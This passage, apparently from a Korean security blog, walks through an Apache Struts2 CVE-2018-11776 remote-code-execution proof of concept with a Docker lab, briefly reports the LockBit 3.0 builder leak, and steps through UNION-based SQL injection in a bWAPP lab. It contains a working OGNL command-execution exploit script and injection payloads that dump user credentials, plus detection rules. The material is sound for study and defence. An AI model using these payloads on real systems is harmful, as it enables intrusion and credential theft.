    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정

- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송

 

2.2) 취약점 실습

 

GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

Working Python test and PoC for CVE-2018-11776, includes Docker lab - GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

github.com

- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)

$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638

- 도커 내부 및 설정 파일 접근

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가

[캡쳐 2] <struts> 추가 내용
[캡쳐 3] <package name="default" extends="struts-default"> 추가 내용

- 컨테이너 재시작

$ exit
$ docker restart struts2\

- Apache Struts2 정상 동작 확인

[캡쳐 4] Apache Struts2 정상 동작

- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)

- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미

[캡쳐 5] OGNL 표현식 변환

- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송

- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함

[캡쳐 6] id 명령 실행 결과 반환

- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음

[캡쳐 7] 패킷 캡쳐

3. 대응방안

1. 취약점이 패치된 버전으로 업그레이드

- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지

[캡쳐 8] 패치 코드

2. 취약점 탐지 및 차단

- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.

- 해당 문자열을 토대로 패턴 생성 및 적용

alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)

4. 참조

1. https://www.secjuice.com/apache-struts2-cve-2018-11776/

2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html

4. https://bziwnsizd.tistory.com/75

개요 - 록빗 내 개발자로 보이는 인물이 파일을 암호화 하는 인크립터의 코드를 공개
- 가장 최신 버전인 록빗 3.0(LockBit 3.0) 혹은 록빗블랙(LockBit Black) 공개
- 현재 이 인크립터 코드는 깃허브를 통해 열람이 가능

<록빗>
- 2019년 최초 등장 후 현재 가장 세력이 큰 랜섬웨어 조직
- 2022년 상반기 록빗 관련 공격사례 1843건이며, 1월~5월 발생한 록빗 2.0이 전체 랜섬웨어 공격의 46%를 차지
영향 - 유출된 코드를 분석했을 때 진짜 록빗 3.0의 구성 요소가 맞으며, 록빗 운영자들도 소셜미디어를 통해 유출된 빌더가 자신들이 사용해 오던 정상 빌더라고 밝힘
- 누구나 조금의 코딩 지식만 있으면 랜섬웨어를 만들 수 있음 (복호화를 위한 키 생성기도 포함되어 있음)
- 비슷하거나 새로운 멀웨어의 출현하는 부정적 영향과 동시에 해당 코드를 분석해 랜섬웨어를 막는 방법이 개발되거나 중요 정보를 추출될 수 있는 긍정적 영향이 공존

 

- 보안뉴스

 

랜섬웨어 그룹도 내부자 위협을 겪는다? 록빗 3.0 빌더 공개돼

랜섬웨어 조직들이 기업화 됨에 따라 보다 강력해지고 있기도 하지만 일반 기업들이 겪는 어려움을 똑같이 겪고 있기도 하다. 바로 불만을 품은 직원들이 일탈 행위를 하는 것이다. 우리는 그것

www.boannews.com

 

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts